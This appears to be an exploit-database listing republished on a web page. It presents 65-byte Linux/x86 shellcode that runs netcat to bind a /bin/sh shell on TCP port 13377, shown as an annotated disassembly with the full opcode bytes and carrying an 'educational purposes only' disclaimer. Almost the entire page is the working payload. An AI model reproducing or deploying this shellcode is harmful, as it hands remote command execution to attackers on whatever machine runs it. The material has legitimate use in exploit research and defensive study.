Linux/x86 bind (0.0.0.0:13377/tcp) shell (/bin/sh) shellcode (65 bytes) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-01-12 | Type : shellcode | Platform : linux
This exploit / vulnerability Linux/x86 bind (0.0.0.0:13377/tcp) shell (/bin/sh) shellcode (65 bytes) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Linux/x86 - bind shell on port 13377 Shellcode (65 bytes)
# Date: Jan 12, 2021
# Exploit Author: ac3
# Version: Linux x86
# Tested on: Linux x86

## linux x86 nc -lvve/bin/sh -p13377 shellcode
## This shellcode will listen on port 13377 using netcat and give /bin/sh to connecting attacker

# 31 c0 xor %eax,%eax
# 31 d2 xor %edx,%edx
# 50 push eax
# 68 33 33 37 37 push $0x37373333
# 68 2d 76 70 31 push $0x3170762d
# 89 e2 mov %esp,%edx
# 50 push %eax
# 68 6e 2f 73 68 push $0x68732f6e
# 68 65 2f 62 69 push $0x69622f65
# 68 2d 6c 76 76 push $0x76766c2d
# 89 e1 mov %esp,%ecx
# 50 push %eax
# 68 2f 2f 6e 63 push $0x636e2f2f
# 68 2f 2f 2f 2f push $0x2f2f2f2f
# 68 2f 62 69 6e push $0x6e69622f
# 89 e3 mov %esp,%ebx
# 50 push %eax
# 52 push %edx
# 51 push %ecx
# 53 push %ebx
# 31 d2 xor %edx,%edx
# 89 e1 mov %esp,%ecx
# b0 0b mov $0xb,%al
# cd 80 int $0x80

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